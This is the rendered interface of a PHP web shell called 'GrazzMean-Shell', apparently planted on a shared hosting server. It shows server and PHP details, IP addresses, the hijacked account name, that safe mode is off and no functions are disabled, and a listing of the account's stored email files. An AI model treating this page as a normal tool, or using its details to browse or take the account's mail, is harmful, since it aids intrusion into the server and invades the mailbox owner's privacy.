Uname: Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 68.65.120.251
Your Ip: 52.14.6.145
User: travtpib (6521) | Group: travtpib (6478)
Safe Mode: OFF
Disable Function:
NONE
name last edit size owner:downer permission options
..
1731218475.M546971P2021057.server105.web-hosting.com,S=92402,W=93970:2,S 2024-11-10 13:01:15 90.24 KB travtpib:travtpib -rw-r-----
1731249704.M263752P1287984.server105.web-hosting.com,S=1681,W=1726:2,S 2024-11-10 21:41:44 1.64 KB travtpib:travtpib -rw-r-----
1732009475.M582294P3711707.server105.web-hosting.com,S=1681,W=1726:2,S 2024-11-19 16:44:35 1.64 KB travtpib:travtpib -rw-r-----
1737632409.M537697P191885.server105.web-hosting.com,S=24308,W=24665:2,S 2025-01-23 18:40:09 23.74 KB travtpib:travtpib -rw-r-----
1742207327.M76176P3765671.server105.web-hosting.com,S=29693400,W=30079109:2,S 2025-03-17 17:28:47 28.32 MB travtpib:travtpib -rw-r-----
1742207919.M581046P4115145.server105.web-hosting.com,S=606770,W=614685:2,S 2025-03-17 17:38:39 592.55 KB travtpib:travtpib -rw-r-----
1742381004.M593186P3522506.server105.web-hosting.com,S=1048422,W=1062344:2,S 2025-03-19 17:43:24 1023.85 KB travtpib:travtpib -rw-r-----
1742720434.M76670P3429721.server105.web-hosting.com,S=22878,W=23260:2,S 2025-03-23 16:00:34 22.34 KB travtpib:travtpib -rw-r-----
1742720933.M426181P3420602.server105.web-hosting.com,S=1688,W=1733:2,S 2025-03-23 16:08:53 1.65 KB travtpib:travtpib -rw-r-----
1742751125.M479014P2491962.server105.web-hosting.com,S=75415,W=76902:2,S 2025-03-24 00:32:05 73.65 KB travtpib:travtpib -rw-r-----
1742833320.M924363P4116413.server105.web-hosting.com,S=76798,W=78302:2,S 2025-03-24 23:22:00 75 KB travtpib:travtpib -rw-r-----
1742897116.M577869P2149045.server105.web-hosting.com,S=76135,W=77630:2,S 2025-03-25 17:05:16 74.35 KB travtpib:travtpib -rw-r-----
1743364268.M369101P947579.server105.web-hosting.com,S=105003,W=107018:2,S 2025-03-31 02:51:08 102.54 KB travtpib:travtpib -rw-r-----
1743365248.M822429P1070237.server105.web-hosting.com,S=75717,W=77208:2,S 2025-03-31 03:07:28 73.94 KB travtpib:travtpib -rw-r-----
1743918637.M676849P2095795.server105.web-hosting.com,S=832933,W=843974:2,S 2025-04-06 12:50:37 813.41 KB travtpib:travtpib -rw-r-----
1744041685.M520759P1914353.server105.web-hosting.com,S=107457,W=109508:2,S 2025-04-07 23:01:25 104.94 KB travtpib:travtpib -rw-r-----
© 2025 GrazzMean-Shell